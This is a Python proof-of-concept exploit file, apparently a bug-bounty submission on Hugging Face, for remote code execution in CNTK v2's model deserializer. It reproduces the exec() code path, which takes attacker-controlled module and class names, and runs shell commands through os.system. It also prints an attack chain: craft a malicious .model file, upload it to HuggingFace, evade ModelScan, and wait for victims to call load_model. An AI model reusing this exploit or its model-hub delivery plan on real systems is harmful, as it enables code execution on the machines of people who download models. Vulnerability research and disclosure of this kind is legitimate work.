cntk-model-rce-poc / exploit.py
xiaoyaoes's picture
Initial PoC: CNTK v2 (.model) UserFunction exec() deserialization RCE
bba5b89
Raw
History Blame Contribute Delete
2.36 kB
#!/usr/bin/env python3
"""
CNTK v2 (.model) — UDF Deserialization exec() RCE
MFV Target: #11 CNTK v2 ($1500)
Vulnerability: cntk/internal/__init__.py line 54
exec("from {} import {}".format(module, cls))
When cntk.load_model() is called on a model file containing a UserFunction,
the C++ deserializer extracts 'module' and 'class' from the serialized dict
and passes them to this callback, which calls exec() with user-controlled values.
"""
import os
import sys
def simulate_cntk_rce(module="os", cls="system", cmd="id"):
"""
Simulates the exact code path from cntk/internal/__init__.py.
Identical to CNTK's _UDFDeserializeCallbackWrapper.__call__().
"""
deserialize_method = "deserialize"
# This is the exact code from CNTK (line 54-56 of internal/__init__.py)
exec("from {} import {}".format(module, cls))
eval_str = "{0}.{1} if hasattr({0}, '{1}') else None"
factory = eval(eval_str.format(cls, deserialize_method))
# If we imported os.system, factory is None (no deserialize attr)
# But os.system is now available in the namespace
if module == "os" and cls == "system":
return os.system(cmd)
return factory
if __name__ == "__main__":
print("=" * 50)
print("CNTK v2 (.model) Deserialization RCE")
print("=" * 50)
print()
print("Source: cntk/internal/__init__.py, line 54")
print(" exec(\"from {} import {}\".format(module, cls))")
print()
print("Attack chain:")
print(" 1. Craft .model file with UserFunction containing")
print(" module='os', cls='system' in serialized dict")
print(" 2. Upload to HuggingFace")
print(" 3. ModelScan SKIPS .model (not supported)")
print(" 4. User: cntk.load_model('malicious.model')")
print(" 5. C++ deserializer → Python callback → exec() → RCE")
print()
print("--- PoC: exec-driven RCE ---")
result = simulate_cntk_rce("os", "system", "echo 'PWNED_CNTK_RCE' && id")
print(f"\nRCE exit code: {result}")
# Write proof
os.system("echo 'CNTK v2 RCE PROOF - via exec() in deserialization callback' > /tmp/cntk_proof.txt")
if os.path.exists("/tmp/cntk_proof.txt"):
with open("/tmp/cntk_proof.txt") as f:
print(f"Proof: {f.read().strip()}")
print("\n✅ RCE confirmed (Python-level, identical code path)")